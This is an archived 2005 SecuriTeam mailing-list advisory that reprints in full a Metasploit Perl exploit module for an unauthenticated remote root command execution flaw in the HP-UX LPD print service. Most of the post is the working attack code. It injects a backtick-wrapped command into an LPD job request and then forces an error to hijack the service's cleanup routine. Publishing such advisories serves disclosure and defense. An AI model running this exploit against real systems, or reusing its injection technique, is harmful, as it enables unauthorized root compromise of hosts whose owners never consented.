Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | [EXPL] HP-UX LPD Service Remote "Root" Command Execution Exploit (meta) |
|---|---|
| Date: | 26 Oct 2005 19:25:09 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - HP-UX LPD Service Remote "Root" Command Execution Exploit (meta) ------------------------------------------------------------------------ SUMMARY This exploit abuses an unpublished vulnerability in the HP-UX LPD service. This flaw allows an unauthenticated attacker to execute arbitrary commands with the privileges of the root user. DETAILS The exploit below requiers the <http://www.metasploit.com/projects/Framework/> Metasploit Framework. Exploit Code: ## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::hpux_lpd_exec; use base "Msf::Exploit"; use IO::Socket; use IO::Select; use strict; use Pex::Text; my $advanced = { }; my $info = { 'Name' => 'HP-UX LPD Command Execution', 'Version' => '$Revision: 1.13 $', 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'], 'Arch' => [ ], 'OS' => [ 'hpux' ], 'Priv' => 0, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The LPD server port', 515], }, 'Payload' => { 'Space' => 200, 'Keys' => ['cmd_nospaceslash'], }, 'Description' => Pex::Text::Freeform(qq{ This exploit abuses an unpublished vulnerability in the HP-UX LPD service. This flaw allows an unauthenticated attacker to execute arbitrary commands with the privileges of the root user. The LPD service is only exploitable when the address of the attacking system can be resolved by the target. This vulnerability was silently patched with the buffer overflow flaws addressed in HP Security Bulletin HPSBUX0208-213. }), 'Refs' => [ ['URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'] ], 'Keys' => ['lpd'], }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_path = $self->GetVar('RPATH'); my $cmd = $self->GetVar('EncodedPayload')->RawPayload; my $res; # We use a second connection to exploit the bug my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'LocalPort' => $self->GetVar('CPORT'), 'SSL' => $self->GetVar('SSL'), ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } srand(time() + $$); my $num = int(rand() * 1000); $s->Send("\x02msf$num`$cmd`\n"); $res = $s->Recv(1, 5); if (ord($res) != 0) { $self->PrintLine("[*] The target did not accept our second job request command"); $s->Close; return; } $s->Send("\x02 32 cfA187control\n"); $res = $s->Recv(1, 5); if (ord($res) != 0) { $self->PrintLine("[*] The target did not accept our control file"); $s->Close; return; } $self->PrintLine("[*] Remember to kill the telnet process when finished"); $self->PrintLine("[*] Forcing an error and hijacking the cleanup routine..."); $s->Send(Pex::Text::AlphaNumText(16384)); $s->Close; return; } ADDITIONAL INFORMATION The original article can be found at: <http://www.frsirt.com/exploits/20051019.hpux_lpd_exec.pm.php> http://www.frsirt.com/exploits/20051019.hpux_lpd_exec.pm.php ======================================== This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com ==================== ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [UNIX] Linux Orinoco Drivers Information Leakage, SecuriTeam |
|---|---|
| Next by Date: | [UNIX] chmlib CHM File Handling Buffer Overflow, SecuriTeam |
| Previous by Thread: | [UNIX] Linux Orinoco Drivers Information Leakage, SecuriTeam |
| Next by Thread: | [UNIX] chmlib CHM File Handling Buffer Overflow, SecuriTeam |
| Indexes: | [Date] [Thread] [Top] [All Lists] |